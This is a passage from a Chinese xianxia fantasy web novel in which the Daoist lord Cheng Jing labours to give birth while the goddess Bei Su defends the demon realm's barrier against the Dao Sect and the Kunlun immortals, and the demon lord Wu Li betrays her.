笑声很轻,北溯听到了,她俯身凑过去,几乎趴在他身上,去看他为什么笑。 以往她靠近时,他很快就会推她,这次他却什么都没动。 她身上的味道涌入鼻腔,钻入心肺。成镜忽然就没力气推开她,一下一下嗅着她的味道,身上的痛好似减轻了。 他僵硬地保持着自己此刻的姿势,嗅到的味道如同那药,有止痛的效果,还是甜的,一点都不苦。 身体缓缓放松,痛被驱逐出去,逐渐被女子占据。 他稍稍动了动手,往她的方向靠近。 成镜觉得自己应该是朝她那靠近了些距离,待他意识回笼,发觉自己一点都没挪动,一切都是自己的幻觉。 抽痛再次袭来,这次能清晰感觉到有什么东西在身体里动,清楚地意识到灵海内那颗蛋在冲撞莲花,一次比一次重。 他疼得蜷缩身子,但又疼得身体挺直,很疼很疼。 比在梦境里,感受她被捅刀,被那条黑蟒咬穿手臂还痛。 甚至疼得意识模糊,抓住她的手,用力握紧,青筋直跳。 还听到她的声音,很模糊朦胧,像是隔着一层雾:“你应该要生了。” 北溯看他的样子,生出几分疑惑。生孩子这么痛的吗?幸好她只有一个鳞舞,他也只生一次。 这回她没抽开自己的手,另一只手就势抱着他,拍拍他胸口,难得耐心安抚他:“快了,很快就好了。” 成镜听到了这句话,第一反应便是觉得她在骗自己。 她说的每次快了,每次都要等很久。可笑的是他每次都信了,一次次被骗,到现在,还在骗他。 他用力握住她的手,十指交缠,力气大得北溯都觉得痛。 他将她的手用力拉到自己唇边,抵住她手背,咬牙出口:“你在骗我。” 北溯没听清,凑近再去听:“嗯?你说什么?” “你骗我。” 成镜觉得自己白活了那么多年,在同一个人手里栽了那么多次。 骗了他的身,用他的身体复活别人。 现在还想骗他的心,妄图让他站在她那边,帮她抵抗人界与昆仑。 可笑的是,他每一次反抗,在她眼里,不过是没有意义的挣扎。一次次被她压下,一次次被迫接受她灌进来的力量。 而现在,她连一句真话都不愿意说。 身体里那东西都要出来了,她都不愿告诉他,那究竟是谁。 是觉得告诉了他,他会影响她与那人之间的感情吗? 身体的疼淹没理智,成镜再也无法忍受,一口咬住她手背,没法控制力度,也不知道自己咬得有多深。 以为她会动手,等了一会,她没有将手抽走,任由他咬。 成镜抬眼看她,看到她垂下的眼,眼底只有平静,令他觉得自己此刻像个疯子。 “继续咬,”北溯挑眉,看出他的惊愕与茫然:“不是很疼吗?咬住就不疼了。” 成镜松口,想扔了她的手,听到她接下来的话,身子一僵,耳垂红得能滴血。 “药被你打翻了,没有止痛药,你将碗复原,我也不会再去煮一碗。” 成镜张口反驳:“用不着你的药。” 话音刚落,又是抽痛,意识还没反应过来,身体已经先一步咬住她的手。 待回过神,听到她戏谑的声音,成镜干脆再一口咬住她的手,力道加重,像是在惩罚她。 北溯确实有点疼,但远远不及她曾经遭遇的疼痛,就像被猫挠了一下,疼也只是那一瞬间。 “咬吧。” 她抬眼看向他的肚子,心中低喃。鳞舞,你快些出来,我要等不及了。 成镜似乎没了心理负担,一痛就咬她。 北溯手背很快被牙印覆盖,手上还有指痕,有些还出了血。 咬着咬着,成镜不疼的时候,看到她手上的血,心中诡异地浮出愧疚,唇蹭了蹭,像是在说抱歉。 等他发现自己这么做后,僵滞着不敢看她。 很快发现她根本没有注意到,庆幸又难受。 成镜觉得自己该是被夺舍了,否则怎么会有这种想法。 一道炸响将他从思绪中拉出来,手一空,她的身影立起。 “这不是你的雷劫。” 成镜知道,那是道宗法术攻击时产生的动静,心头一跳,往殿门看去。 他们,知道他在这里? 北溯正要出去看看情况,身后传来压抑的痛呼,她只得坐回去。 方坐下,手再次被握紧,男人一口咬上来,唇含住她的虎口,牙齿用力,却又控制着自己,不伤到她。 北溯低头望着,想到雾漓说的那群去道宗的修士,忽然道:“道君知道么,有很多修士去了道宗,想看你渡劫。” 男人依旧咬住她的手,力气松了很多。 “他们要是知道你现在——” 成镜松开她,不知哪来的力气,将人拉下来,撑着身子捂住她的唇,艰难吐出两个字:“别说。” 凸起的肚子碰到她的身体,北溯愣了会,才将人推着按回床上。 “他们要是知道你现在怀了邪神的孩子,还脆弱成这样,会怎么看你?” 男人还想捂住她的唇,却痛得咬住了她的手。 北溯受着他咬的力道,看着他,笑了。 他们期待的道君,大着肚子,泛白的指节攥紧被褥,绵密汗珠自额间滑落,仰起的脖颈绷直,痛到极点时,用力咬住身侧女子的手臂。 殿外又是一震,甚至影响到此处,桌椅都颤动了。 “他们来救你了。”北溯另一只手拨开他凌乱的湿发,指腹抹去他将要滑入眼中的汗珠,问他:“你觉得我应该带你去见他们吗?” 成镜脱口而出:“不要——” 看到她浮出的笑意,意识到她在耍自己,但已经没什么力气做出什么表情,一切都是自然流露。 “好吧,你说不要,我就不去。” 成镜松了口气,但他很快意识到她不可能不去。 地面震动的幅度明显变大,殿外传来雾漓的声音。 “昆仑的人来了,我们守不住。” 北溯仰头望向外面,片刻后道:“我待会就来。” 她低头,冲成镜笑了笑,轻轻碰了碰他的肚子,道:“我给它起了个名字,叫鳞舞。” 成镜呆滞,不是月神吗? 不等他回神,手里一空,她站起身,往殿门走。 “等我回来。” 第40章 “一个时辰已过,雷劫仍旧未成型。” 天綪立于吞云殿外,里面的声音被隔绝,她什么都听不见。一个时辰前,她被朱雀仙尊吩咐,将降魔杵交给了朱雀仙尊,且还 要召集所有羿虚境及以上修为的修士,听从他们号令。 天綪试探问了一句:“仙尊可是要去斩杀邪神,救回道君?” 朱雀仙尊睨视她一眼,意味深长地笑:“是你立功的时候了。” 不用多说,天綪也明白她的意思,立即去吩咐执事召集修士,告诉他们接下来要做的事。 “诸位应是都知三百年前,邪神肆虐三界,搅得三界不得安宁,众仙尊联手,身消道陨才将其封印。”天綪在说这些时,底下的修士愤恨不已,咒骂声一片。 天綪让他们骂了会,才让他们闭嘴,听她说。 “如今道君飞升在即,又有仙尊助力,正是我等铲除那邪神的最好时机!”天綪抬手直指天际,高声道:“三百年前我等尚在襁褓中,实力低微,无法帮助仙尊。但如今,诸位皆是羿虚境强者,甚至有数名修士已达无妄境,距离入神境仅一步之遥。” “现在,就是我等与道君,昆仑仙尊携手共抗邪神的时候!” “我,道宗宗主天綪,在此承诺,不论你们能否除得了那邪神,只要你们出了力,道宗与昆仑都会记住你们,届时邪神被除,你等都有机会成为道宗执事,甚至是供奉,长老!” 此话一出,谁不兴奋,谁不激动? 能入道宗,前途无量!即使不能成为道宗执事,只当一名道宗内门弟子,都比在外头当小门小户的宗主好。单单是道宗这个噱头,都能被人另眼相待,再加上执事的身份,几乎可在所有小宗门随意行走。 谁都知道这张饼大,但从道宗宗主嘴里说出来,谁都想争着咬一口。 “宗主放心,我等必然会尽全力协助道君与昆仑仙尊,铲除那邪神!” 只要有一个人起头,其余人便会争先恐后抢着要干。 “我等必会全力以赴,除邪神,还三界安宁!” 天綪满意地点头。 这世间,权力与财富是最具诱惑力的东西,谁能抵得住诱惑?已经摆在面前,谁会不要? 底下的修士亢奋不已,甚至有人立刻就想去杀邪神。 “诸位切记,勿贪功冒进,一切听从道宗与昆仑仙尊安排。” 准备出去探探情况的修士打消念头,脚步一转,牢牢站在道宗的土地上。 有人问:“我等已经来了将近一日,道君何时露面?” 不知是他的声音太小,被密集人声盖住,还是天綪听见但不予理会,没有人理他,不过片刻,天綪离开。 苍穹逐渐暗下,雷声响在每一个人心底。 “这雷打了得有一整天了,怎么还不停?该不会是有什么怪事要发生吧?” 不知雷劫的普通人盯着天,很是不安。 “这天又不下雨也不刮风,净打雷了。” 男人正要收东西,脚下颤动,震得围墙上的簸箕都掉下来。 他冲外头一看,不远处黑压压的一片,士兵全副武装,冲城门的方向而去。 男人立刻把门关了,东西都没收,直接往屋里跑。 “要变天了要变天了!” 一个时辰过去,日头下落,夕阳斜照,九重山乃整个人界最高山,站于山顶,晚霞低得犹如压在头顶,触手可碰。 “时间到了。” 天枢仙尊收回瞧夕阳的目光,转身冲身后众仙尊道:“动手。” 众仙尊俯身行礼,齐齐出声:“遵命。” 数道流光划过天际,梵钟声响,一声一声,敲击所有修士大脑,告诉他们,是时候去斩杀邪神了。 星峦与陆长老驻守道宗,天綪与墨九歌先带修士前往魔界。 当被告知要前往魔界时,修士还疑惑,直到被解释邪神早已破开封印,与魔族勾结,愤恨不已。 却没说成镜被掳去了魔界。 “魔族当真是堕落到底了,竟然还想保住邪神?” “待杀了邪神,我等连魔界一起端了!” 天綪听着他们的话,面上没有变化,抬手弹了弹袖口上的灰,朝墨九歌道:“待会让他们先上去探探魔域虚实。” 墨九歌明白她的意思,笑了出来:“上次在黑水遇到那只女魔头,我还没打过瘾,这次我倒是要和她多打一会。” 天綪冷眼看他:“别耽误了正事。” 墨九歌立刻赔笑,说是。 众修士穿过护宗大阵,密密麻麻的人影多得分不清谁是谁,御器而行,眨眼间不见踪影。 耸立的界碑便是到达魔界的讯号,一看见界碑,修士兴奋不已,驱使脚下法器加快速度,往前冲。 道宗弟子倒是放缓了速度,慢慢落后于其他修士。 他们在后边看着,紧密关注冲在最前端的修士。 前面几名修士比谁更快到达,速度越来越快,谁也不想把第一让出去,注意力全在自家人身上,完全没注意到周围环境。 冲在第一的修士见界碑就在眼前,得意朝身后修士道:“诸位,这第一名,可就给我了——” 话还未说完,他看到那群修士脸色骤变,纷纷停下,他疑惑地转回头,双眼被黑暗笼罩。 一只巨爪从界碑里冲出来,大到头顶的光都被遮住。等他反应过来,已经被那巨爪握住。 捏紧,炸开,爆浆。 所有修士齐齐后退,面露惊恐。 他们亲眼看着那只手松开,与山石一般坚硬,与界碑一样的高度,人的身体与之对比,太小,小到身体里的血炸开,都看不清楚。 “那是什么东西?羿虚境的高手,都能被轻易捏死?” 此刻他们心中全都浮现同一个念头,幸好第一个冲过去的,不是他们。 处于后方的天綪叫停所有人,让道宗弟子去探查。 弟子先是远攻那只手,没有任何反应,他扬出巴掌大小的纸人,法力注入,纸人迅速变化,与人无异,冲巨爪而去。 所有人紧张看着纸人。 纸人小心翼翼接触,距离那举爪不到一米时,天綪忽然下令:“直接攻击它。” 弟子领命,立即动手,纸人与他的动作一致,冲巨爪掌心一击,却无任何变化。 修士们盯着那巨爪,犹豫着要不要去毁了这东西。 就在他们一筹莫展之时,一道裂纹自被击中的地方显现,四面八方蔓延。 轰隆一声,巨爪碎裂,压碎纸人。 修士发出欢呼。 “这东西不过如此!一起上!捣毁魔界!灭邪神!” 天綪与墨九歌却未动。 “这么久未见一只魔出来,有鬼。” 仿佛是印证这句话,修士们刚冲到结界边上,魔气猛然涌出,如地府厉鬼,缠住前头的修士,将他们往下拉,魔气中探出刀,冷不丁往修士身上捅。 法器坠落,修士猝不及防,有几个被重伤,反应过来后立刻掏家伙,逼得魔没法以魔气为形,只能显形。 天綪迅速将局势看清,下令:“你等将这群魔引开,破结界自有我宗弟子,你等只需顾好自己,不要将自己的命葬送在这群魔手中。” 修士们听到她的话,下意识照做。都是羿虚修士,实力在人族中算得上强者,制服这些魔还算容易。 很快结界前魔气散开,道宗弟子上前,列阵。 七字金印落下,降魔杵位于中央,众弟子严陈以待, 七绝阵一开,结界都颤了一颤。 “不好,他们带来了降魔杵!” 雾蓉本以为还能多拖一会,谁知他们竟然连神器都带来了,分明就是强行破开结界。 “你们立刻去杀了那群修士!避开降魔杵!” 魔将冲出结界,分散开来,围攻道宗弟子。 后方的墨九歌一见他们出来,捏了捏手腕,向天綪请令。 “我去对付他们。” 天綪点头,墨九歌身影瞬间冲到结界边,斩杀袭击的魔将。 他的身形暴涨,上衣碎裂,一手便能捏住魔将的头,另一手握成拳,砸入魔将胸口,竟然贯穿了一个洞。 一缕魔气从他手中挣脱,迅速回到结界内。魔气凝聚成形,冲雾蓉道:“他绝对是无妄境!” 双刀从雾蓉 体内飞出,穿过结界,斩向墨九歌砸另外一名魔将的手。 弯刀飞旋,裹挟着浓重魔气,这要是被击中,骨头都被削没。 墨九歌手臂转了个弯,躲开来,精准看向雾蓉,肿大的脸狞笑:“上次在你手里吃了亏,这次可不会!” 雾蓉冷哼:“我看你是想把命送到我手里。” 两道身影碰撞,雾蓉化为魔气灌注弯刀内,弯刀身形胀大,一把攻击墨九歌,一把去杀结阵的弟子。 弯刀速度很快,割断一名弟子喉咙,那弟子立刻没了气,死了。 但阵没破,立刻有弟子补上来,七绝阵只断了一瞬,很快被接上。 弯刀在墨九歌身上割开一道口子,但没伤到他。 雾蓉恢复人形,手握弯刀,盯着墨九歌身上的伤,面色凝重。 肥肉太多,即使口子有一指深,也伤不到他要害。 她匆匆望了眼列阵的几十名弟子,避开墨九歌山丘一般的身体,再次化为雾气注入弯刀中。这一次,她佯攻墨九歌,找机会将道宗弟子杀了。 只要她杀的快,他们就来不及补人。 弯刀再次收割道宗弟子性命时,一道结界冲落,弯刀速度太快,来不及躲避,直直撞上去,火星四射。 结界只出现裂纹,而弯刀飞旋数周后,被弹飞出去。 一手胀大鼓泡的手一把拍住弯刀,一用力,弯刀在他手中扭曲。 魔气冲出,与另一把弯刀融合,进入结界内。 雾蓉咳出血,找到天綪的位置,面色惨白。那道结界是天綪降下,她能破开,但代价很重。方才被墨九歌那么一拍,五脏六腑都差点被拍碎。 之前在黑水与他交手时,他实力根本没有这么强,这人竟然隐藏了实力! 雾蓉偏头一看,所有魔将被结界拦在外面,只杀了几名道宗弟子。而头顶的七绝阵已经亮了两个字,七字全亮,这阵能将修为低下的魔秒杀。 情况很不利。 雾蓉回头往魔宫的方向去看,身后只有不断冲出结界御敌的魔,没有雾漓的身影。 她抬头再看头顶尚且完好的结界,还不知这结界在七绝阵下能撑多久。一咬牙再次冲出去,命令道:“全力破开他们的结界,杀了列阵的人族修士!” 魔气注入剩下的一把弯刀中,再次冲那有裂纹的结界而去。 墨九歌见状,扔了手里的破刀,去拦截她。 他厚实的身体确实可以降低伤害,但速度减慢数倍。弯刀一眨眼便撞碎结界,冲向最近的弟子。 一道恐怖的气息袭来,雾蓉根本没有想过退避,抵抗着那压迫之力以弯刀尾部割断弟子的脖颈。 血喷射而出,雾蓉无法逃脱,被拂尘一扫,魔气与弯刀分离,身体撞上界碑,弯刀飞旋,两把石锤狠狠一击,扭曲变形。 雾蓉挣扎着站起来,肌肤上全是淤青血点,她仰头看过去,那昏暗的光线下,缓缓出现两人,眉心山形印记铮亮。 心沉入谷底。 她靠着界碑,看着魔将好不容易冲破结界,还没往里去,就被重创。拦截修士的魔溃败,数名修士回来拦截魔将,七绝阵第三个金字即将成型,而到现在,雾漓都没出面。 雾蓉知道会有这么一天,但若是那名女子没有来,这天必然不会这么快到来。 但不管如何,她会守住界碑,即使会死。 雾蓉再次上前,直冲被魔将撞开的结界而去,两名仙尊犹如不可越过的高山,拂尘将她扫下,石锤重击她。 在仙尊面前,她根本没有还手之力。 墨九歌迎上来,拳拳击中她身体,还不忘呛她几句:“先前不是想断了我命根子?现在怎么连还手之力都没有?你们魔族都这么弱的?” 雾蓉堪堪凝成魔气逃脱,尝试找机会破开他的防御,但他的肥肉太多太多,手里没有武器,破不开。 抵挡不住的魔将退回结界内,扫视这一群人族修士,掉头往魔宫冲。 待他赶到魔宫见到还坐着的雾漓,急得想直接拉他出去。 “尊主,来了两名仙尊,我们挡不住!” 雾漓缓缓抬眼,问那魔将:“死了多少魔将了?” “不知……”那魔将回来得匆忙,哪里晓得死了多少魔将,“您再不去,雾蓉也要死了!” 刚说完就见雾漓起身,魔将一喜,以为他要去支援雾蓉,结果他只是走到殿外,往界碑的方向看了眼,便若无其事地回来。 “结界未破,无事。” 魔将傻眼,缓了好一会才说:“但他们撑不了多久,而且已经死了很多我族人了!” 雾漓漫不经心道:“都是没用的东西,死便死了。” 魔将压根没想到雾漓根本不管,他盯着雾漓看了会,跪下求他:“尊主,你不去救他们,他们真的会死的!” 雾漓瞥他一眼,眼神不耐,甚至有了杀意。 魔将脖子一梗,站起身,冲他道:“尊主不去救他们,待结界破了,尊主您也跑不了。” 他说这句话的时候,抱着被雾漓杀死的决心,结果雾漓根本不在意。 “再等等,等结界破了,我自然会出手。” 魔将看了他好一会,恨恨跑出去。 待他回到结界边,只看到雾蓉倒在地上,外头魔气散尽,连界碑都碎了一角。 而七绝阵已成。 混杂仙力的威能冲击下来,结界晃动,魔将慌神,下意识要去守结界,雾漓无动于衷的表情回荡,他没有冲出去,一步步后退。 连主子都不管了,他还管什么? 他抱起雾蓉就往回跑。不是回魔宫,而是去魔渊。那处深渊离这最远,若是结界真的碎了,雾漓还不管,他就带着雾蓉跳进深渊里,总好过死在人族修士手中。 以降魔杵为阵眼的七绝阵还有驱赶魔气的威能,靠近的魔被着威能波及,魔气消散。 结界颤动,暂时未碎裂。 两名仙尊见状,一左一右立于七绝阵两侧,拂尘与石锤拍打撞击,连那地面都颤动。 墨九歌回到后方,吃了天綪给的疗伤丹药,恢复原样。 “这么久了,魔尊雾漓怎么不出来?”他的声音压低,问:“若是那邪神出来,只凭我们与两位仙尊,能抵挡得住吗?” 天綪没有说话,只凝视结界。 结界依旧未裂。上次七位仙尊合力才将结界破开,现在只凭借七绝阵与两位仙尊,耗费的时间更多。 天綪迅速留下一句话,前去助阵。 “你在后方看守,防止魔族偷袭。” 她的身影出现在结界外,祭出骨刀,灵力灌输,双手结印。 骨刀在她身后无限胀大,与她的身影融合,人剑合一。 一刀劈下,无数妖兽冤魂痛苦呻吟,被禁锢在骨刀内,这把由无数妖兽骨头制成的刀,裹挟着妖兽死不瞑目的怨力,砸向结界。 地动山摇,山石崩塌。 雾漓终于走出了魔宫,冲北溯而去。 结界将寝殿覆盖,他无法感知到北溯具体方位,苍穹中那道黑影再一次砸下来,连着两把石锤,威力强得连修士都站不稳,还得自己给自己套个防御结界,防止被误伤。 “守不住了,你再不出来帮忙,结界就要碎了。” 雾漓冲里头喊。 他在外面等了有一会,脚下又震,抬头一看,结界确实有了裂纹。 片刻后,寝殿外的结界开启,他看到北溯走出来,将那结界再次加固。 伸手时他看见她手背的伤痕,那么明显的牙印。 雾漓眯起眼,盯着她的手,想到什么,冷笑一声:“大难临头,你还有功夫做这些,真不愧是蛇。” 北溯对成镜说完那四个字,加固结界后,才看向雾漓。他全身完好,没有一处伤痕。所以这个人又在怕死,连出去对上人族修士都不敢,直接来让她出面。 不理会他,抬头看苍穹,七字悬浮,作为阵眼的降魔杵在提供仙力,支撑七绝阵。 而能看到的仙尊只有两个,还有个天綪。 他们不可能只来这么点人杀她,剩下的仙尊定然潜伏在暗 处。 北溯离开前,特地检查了结界。没有她的允许,任何人都无法进入,除非她死,结界无法支撑而消散。 她没直接与他们对上,在魔宫内修补结界,再寻机会偷袭,将那俩仙尊杀了,破坏了七绝阵。只要撑到鳞舞诞生,一切便可解决。 结界在众人的注视中复原,仙尊先停了手,互相对视一眼,身影消失。 底下的修士不明所以,旋即听到天綪命令:“你等还愣着干什么,齐力攻击结界!” 天綪收回骨刀,刚要转身,后背发寒,警铃骤响,身体本能地握住骨刀往身后一挥,挡住那道不知从哪甩过来的剑。 那剑的威力巨大,骨刀差点被打得陷入她身体里。 堪堪卸下那剑一击,身体后退数米才稳住。她松了松发麻的虎口,盯着眼前逐渐显现的女子,刚准备好防御姿态,女子眨眼间闪现到面前。 北溯冲天綪一笑,直接去掐她脖颈。 身后气浪袭卷,她看都没看,手中剑反手扔出。剑身深深插入墨九歌身体,他的身体像是被戳破的球,迅速瘪下来。 天綪瞅准机会躲开,北溯抓了个空,天綪的身影不见。 北溯不管她,冲那几个道宗弟子而去。 天綪立刻张开结界护住他们,同时冲修士道:“她就是邪神!杀了她!” 所有听到这句话的人全都望向那女子,谁也没有见过邪神,当他们看见她的容貌时,惊愕不已。 原以为邪神会有几分姿色,没想到相貌这般平平无奇。 愣神过后,杀意取代好奇,纷纷亮出真本事围截她。 北溯看着他们过来,也不躲,缓缓将目光转向天綪,笑:“在道宗时你就想杀我,现在还想杀呢。” 她张开五指,无形的丝线贯穿修士的身体。 鬼魅一般的笑容在她脸上展现,天綪不安,正要叫修士们小心,却没说出来。 “也不看看,你们都是些什么东西。” 五指捏合,丝线收紧,血雨洒下,断肢坠落。 正期待着邪神被杀的道长弟子们正巧看见这漫天血雨,淋了一脸,滴到嘴里,甚至被断肢砸到脸。 “啊——” 画面太过血腥,他们哪经历过这般规模的战斗,无法承受,当场尖叫。 北溯被吵得头疼,一抬手,丝线割断他的舌头,瞬间安静。 防御结界隔绝了天綪周围的血雨与断肢,她深吸一口气,握住骨刀,攻上去。 “待仙尊齐聚此地,便是你死。” 她将全部灵力注入骨刀,朝着北溯一刀砍下。无数骨刀虚影齐发,在北溯面前,如同挠痒痒。 丝线捆住骨刀,来回割锯,那刀碎成一块一块,妖兽残魂嘶吼,本命法器被毁,天綪脑中刺痛,捂着脑袋跪伏地面。 北溯没再给她一个眼神,手一扯,丝线将道宗弟子灵脉割破,灵力溢出,他们无法支撑七绝阵,七字暗下,七绝阵破损。 失去力量支撑的降魔杵哐当一声坠落,石块压下,北溯站在石块之上,抬首望天。 “都来了?” 十一道流光迅速靠近,在昏暗的苍穹中宛如十一颗星。 北溯回首望向成镜的位置,蹙起眉。 到现在还没感知到鳞舞的气息,他还没生下来? 十一道流光显现,天枢仙尊立在最前,其余仙尊在他身后排开。一看到他们的身影,修士们露出劫于后生的表情,若不是受了伤,定要高呼一声。 “妖女,今日便是你的死期!”天枢仙尊说这话时,眉心山形印记明亮,一身仙袍,在修士们眼中,如同神降。 北溯张开五指,丝线散开,抬眸望向这群仙尊,缓缓笑了。 “上次对我说这句话的,已经死了三百年呢。”她的语气压低,一一扫视他们,“你们也想死吗?” 40-50 第41章 “道宗已经去魔界了。” 黎衣白推开门,话刚说完,里头人立刻起身往外冲。 她站在门口,淡漠望凤鸣,说了一句:“你现在要去魔界帮她?” 凤鸣冲到她面前停下,不明白她的意思:“你要拦我?” 黎衣白让开道,冲外头一指,昏暗的天空隔一段时辰亮起,远处流光闪烁,那是阵法攻击的余威。 “你若是要去,就做好必死的准备。”黎衣白语气加重:“半路再跑,她可不会再放过你。” 凤鸣看了会已经不见日光的天,没有动。 黎衣白又说:“道宗还派了人盯着妖界,里面有一名无妄境修士。你若是要去,先将那群人解决。” 她说完,转身就走。 凤鸣一直站在门口,看到远方荡开一层层斗法余波,忽地感应到什么,往外走了几步。 “她用了第二根翎羽!” 相比妖界还算安宁,魔域界碑处血腥遍布,残肢断臂,血流成河。 七绝阵被摧毁,四仙尊在后方结阵,星宿阵再开,多了四位仙尊,而能抵抗他们的依旧只有北溯一人。 北溯刚避开一击,余光瞥见结界上的裂痕,只分神了这么片刻,攻击再来。 偏身避开,抬手一握,将里头看热闹的人往天枢面前一甩,立刻掉头离开。 雾漓猝不及防被抓出来挡刀,怨恨的情绪一闪而过,当即开尾挡住这一击。蓝色孔雀羽被烧焦,他只能斩断羽毛躲避,然而还没跑多远,被天枢仙尊抓住。 北溯刚抽身出来,迎面被两仙尊堵上,丝线缠住地面掉落的法器,飞射过去。 “都是些破铜烂铁而已。” 法器在距离他们不到一米距离融化,未能靠近半分。 摇光仙尊刚融完法器,眼前一空,不见人影。心道不妙,方要离开现在的位置,背后一股热意荡开,身体温度迅速攀升,仙力无法使出。 “你竟然背后偷袭!” 摇光仙尊直直坠地,天璇仙尊将其接住,朝半空中人影怒目而视。 “你这话说的,你们在我与那几个老头打的时候攻击我,就不是偷袭?”北溯甩了甩手,刚才把翎羽弹出去,指甲戳到手指,还有点疼。 “别管我,耗些时间便可将这东西排出去,你快去擒住她!” 天璇仙尊将摇光仙尊带到最后方,刚要上前,被天枢仙尊命令:“你助摇光将妖力排出来,她现在奈何不了我们。” 他将雾漓扔到一边,转头审视与其余仙尊缠斗的北溯,观察片刻,缓缓出声:“她现在的力量远不及当初伤你等时强,短短几天力量流失如此严重,她是做了什么?” 天枢仙尊将目光转向裂纹越来越明显的结界,有这结界在,他无法探查里头情况。 他再次将准备跑进结界内的雾漓抓过来,仙力凝的手捏住他的头颅,挤压得五官逐渐扭曲。 “本尊问你,她在魔界里,都做了什么?” 雾漓只感觉视线模糊,连问话的人都看不清,他张开口,说了三个字。 “不知道啊——” 那只手收紧,他的眼睛已经睁不开,七窍流血,再用力一点,脑袋就会炸开。 “不要在本尊面前撒谎,一旦本尊动用搜魂术,你这条命,就没了。” 雾漓艰难地说出话:“我什么都不知道……” 天枢仙尊冷呵一声,抬手一动,刚要用搜魂术,雾漓又说:“她带了一个人族男人来。” 天枢仙尊停了手,松开他,凝视他许久,忽然道:“去,将那男人带出来。” 雾漓吐出一口血,趴在地上,声音微弱:“我进不去,她设了结界,没法进去。” 天枢仙尊往结界那看了眼,见到魔气可自由进出,朝雾漓道:“你拿着这东西,将它放在结界上激发,便可破。” 一块金色令牌被递到雾漓面前,看清那是什么东西的瞬间,瞳孔震颤,脑子里只有一个念头,今日,北溯必死无疑。 “我可以帮你们,但你们必须保证,不得杀我。” 这句话刚说完,一只脚狠狠踩中后背。雾漓咳出血,趴在地上没法动弹。 “你算什么,还敢与仙尊讨价还价。” 天枢仙尊摆摆 手,道:“不可伤他。” 那人立刻领命,抬起脚,在边上看着。 “本尊可以答应你。”一指仙力弹入雾漓体内,屏蔽他的痛感,天枢仙尊继续道:“不过你若是不按本尊说的做,不论你逃到何处,本尊都能杀得了你。” 雾漓立刻点头答应,双手接过请神令,盯着令牌上的“神”字,眼中疯狂。 他捧着令牌,站起身,朝结界走去。他已经忽视了身后盯着他的仙尊与人族修士,眼里只有令牌。走过北溯所在的位置时,他特地抬头朝半空中那道白色身影看去,嘴角的笑容扩大。 请神令啊,三百年前他见过一回。 在人皇城里,那座石雕上,金光大放,所有妖兽在那金光中湮灭,要不是他跑的快,死的就是他。 没想到,他也有能用请神令的一天。 他将请神令藏在怀里,脚踩鲜血尸体,一步步走向结界。 “仙尊不怕他捣鬼吗?” 天枢仙尊转而看那弟子,目光平静,却叫那弟子心头一颤,不敢对视,后退几步,避开视线。 “贪生怕死之人,再会捣鬼,也不敢做出危害自己性命的事,他不敢。”他动了动手指,雾漓体内冒出荧光,“况且本尊在他体内打入禁咒,他若是要捣鬼,我便可直接杀了他。” 苍穹炸开一声爆响,那声音震得修为较低的修士心魂颤动,久久才回神。 天璇仙尊与天玑仙尊齐齐退回,肩头与胳膊上被血荆棘刺穿,血流了一胳膊。 “星宿阵还未破开结界吗?” 话音刚落,血荆棘条从地面钻出,刺向他心口。天枢仙尊一手搭在他肩头,将他扯开,随即一剑砍出,斩断荆棘,飞身而上。 北溯刚打走两个,又来了一个棘手的。迅速瞥过周围,四面被堵住,想要突破,只能硬上。 “你的力量比起之前,弱了很多。” 北溯啊了一声,说:“确实。” 他这么一说,又感知了会,鳞舞还是没出来,究竟哪里出了问题,难道需要她再催化? 此刻天已暗下,地面荧光闪烁,远远看去浪漫奇幻,但这荧光也将地面尸体照亮,浪漫之下,是血腥。 又是一道蕴含星辰威力的光柱自天幕降下,结界颤动,周围山峰都被震得塌陷。 此地与人界接壤,波及到人界边境,起初人们慌乱,很快士兵挨家挨户安抚,带他们撤离边境,往内地而去。 随着这一击结束,结界的裂纹扩大,北溯眉头紧皱,压下胸口的腥味。 她盯着周围虎视眈眈的仙尊,意识到今日,要么她死在这群狗东西手里,要么,撑到鳞舞诞生,扭转战局。 黑夜被闪电破开,世界骤亮。亮得如白纸,刺眼至极。双眼所见之物,皆失去颜色,眼中只有白。 黑暗降临,北溯身形一动。 她的手化为荆棘,眨眼间闪现到玉衡仙尊面前,甚至不躲他的攻击,将荆棘捅入他心口。 与此同时其余仙尊包围过来,裹挟着足以将道宗覆灭的威能。 所有人都盯着上空爆出流光的位置,紧张得连呼吸都忘记了。 星宿阵再次发力,凝聚最后一击,夜空中星辰散发着微光,缓缓聚合,能将山河夷为平地的力量冲击下来,四仙尊死死盯着这道光柱,满心期待能将结界摧毁。 夜,再次亮起。 当光照亮世界的那一刻,所有人都瞪大了眼。 漆黑的巨蟒盘旋在半空,冲向那道光柱。 玉衡仙尊坠地,砸出深坑。 天枢仙尊等人被巨蟒横扫,骨头断裂,口吐鲜血。他们一转眼,便见那庞然大物主动挡下星宿阵威能,黑鳞被冲击得片片脱落,鲜血直流。 她庞大的身躯将这道光柱严严实实挡住,没有让结界受到一丁点伤害。 “里头到底有什么东西,她竟然用身体去挡?” “从开战到现在,她身边那头妖兽未曾出现过。” 感受到结界外的那恐怖的威能,雾漓抬头去看,满身是伤的黑蟒落入眼中,他脚步一顿,盯着那黑蟒久久没能移开眼。 他看着那条巨蟒受下这一击后,砸在结界上,化为人形,挣扎着起身。 “哈哈哈……” 雾漓笑了出来,他指着那道血影,笑得很大声。 “北溯啊北溯,你为了护那个男人,连命都不要了。”他捏紧请神令,笑声不止:“要是你知道,我把那男人带给昆仑,你该是会恨不得杀了我。” 笑声戛然而止,雾漓闭上嘴,将血咽回去。 他知道自己被那名仙尊屏蔽了五感,身上的伤根本没好。要是不想死,只能尽快破开寝殿外结界,将那男人带给昆仑。 雾漓头也不回,再不看那血影一眼,冲寝殿而去。 结界将他拦在外面,纹丝不动。 他又笑了出来。 “双重结界保护,他就那么重要,谁都不能动他?”雾漓拿出请神令,五指摩挲,金灿灿的,很是好看。 “若是那日,你来的时候,没有带个男人过来,兴许这次我会站在你这边,但……” 雾漓将请神令放置在结界上,注入魔气。 “谁让你胆子大到将道宗那位道君劫到魔界。” 请神令散发出金芒,越来越亮,直通天际。 “你知道的,我这个人向来惜命,我不可能为了你,和昆仑作对。” 雾漓喘息着瘫倒在地,望着金光冲入云端,将四方照亮。 “那只能是你去死了。” 看到那金光的瞬间,所有仙尊露出欣喜之色。 “那只魔确实听话。”天枢仙尊退后,示意其余仙尊暂时收手。目光转向那还在硬撑的女子,扯出冷笑:“不用再攻击她,星宿阵足以。待结界破碎,她受到反噬,力量大损。” “道君也会破出囚禁,渡过雷劫,不用我们出手,道君便会替我们杀了她。” 天枢仙尊冲身后仙尊道:“东西可准备好了?” 